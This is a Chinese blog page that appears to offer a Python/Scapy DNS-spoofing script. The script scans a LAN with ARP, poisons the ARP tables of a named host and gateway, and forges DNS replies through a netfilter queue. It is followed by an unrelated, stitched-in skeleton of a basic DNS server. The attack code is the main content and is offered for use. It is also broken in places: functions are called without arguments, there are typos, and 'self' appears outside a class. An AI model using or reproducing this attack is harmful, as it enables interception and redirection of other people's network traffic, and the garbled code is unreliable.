python实现dns欺骗_python dns欺骗

''''

from scapy.all import *

from threading import Thread

def DNShijacking():

global wg

wg=raw_input('Please enter your IP:')

print '[+]dns spoof!'

nwdf=dns_spoof(joker='{}'.format(wg),match={None:None})

print nwdf.show()

DNShijacking()

def make_reply(ip, req):

ip = req.getlayer(IP)

dns = req.getlayer(DNS)

resp = IP(dst=wg, src=ip.dst) / UDP(dport=ip.sport, sport=ip.dport)

rdata = self.match.get(dns.qd.qna.me, self.joker)

resp /= DNS(id=dns.id, qr=1, qd=dns.qd,

an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata=rdata))

return resp

make_reply()

'''

from scapy.all import *

from threading import Thread

import os

import sys

#Fast discovery host

def kuaisu():

print '[*]Find the LAN host .'

ans,unas=sr(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.3.0/24"),timeout=5,retry=3)

for s,r in ans:

return r[Ether].src

#ARP poisoning

def poison():

send(ARP(op=2,pdst="192.168.3.41",psrc="192.168.3.1",hwdst="3C:46:D8:2A:CF:0B"))

send(ARP(op=2,pdst="192.168.3.1",psrc="192.168.3.41",hwdst="00:0c:29:c7:e7:d8"))

def restore():

send(ARP(op=2,pdst="192.168.3.1",psrc="192.168.3.41",hwdst="00:0c:29:c7:e7:d8"))

send(ARP(op=2,pdst="192.168.3.41",psrc="192.168.3.1",hwdst="3C:46:D8:2A:CF:0B"))

sys.exit()

def cb(payload):

data = payload.get_data()

pkt = IP(data)

localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]

def jiec(payload, pkt, rIP):

spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\

UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\

DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\

an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=rIP))

payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))

print '[+] Sent spoofed packet for %s' % pkt[DNSQR].qname[:-1]

kuaisu()

poison()

restore()

cb()

jiec()

DNS服务器通常需要两个主要组件:查询解析和响应生成。以下是一个简单的Python示例,演示如何实现一个基本的DNS服务器: ```python import socket # DNS查询解析 def parse_dns_query(data): # 解析DNS查询请求 # 返回请求域名 return domain_name # DNS响应生成 def generate_dns_response(data): # 从请求中解析出请求域名 domain_name = parse_dns_query(data) # 构造DNS响应报文 # 返回响应报文 return response_data # 创建UDP套接字 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # 绑定UDP套接字到指定IP和端口 server_address = ('127.0.0.1', 53) sock.bind(server_address) # 循环监听客户端DNS请求并响应 while True: data, client_address = sock.recvfrom(4096) response_data = generate_dns_response(data) sock.sendto(response_data, client_address) ``` 该示例中,`parse_dns_query`函数从DNS查询请求中解析出请求域名,`generate_dns_response`函数根据请求域名构造DNS响应报文。`parse_dns_query`和`generate_dns_response`函数中的具体实现将根据DNS协议规范进行。 接下来,创建一个UDP套接字并将其绑定到指定的IP地址和端口,然后在一个无限循环中监听客户端DNS请求并响应。当收到DNS查询请求时,该程序将调用`generate_dns_response`函数生成DNS响应报文,并将其发送回客户端。 请注意,上述示例仅演示了DNS查询解析和响应生成的基本概念。实际上,实现一个完整的DNS服务器需要更多的代码和处理逻辑,包括缓存DNS响应、处理各种DNS记录类型等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值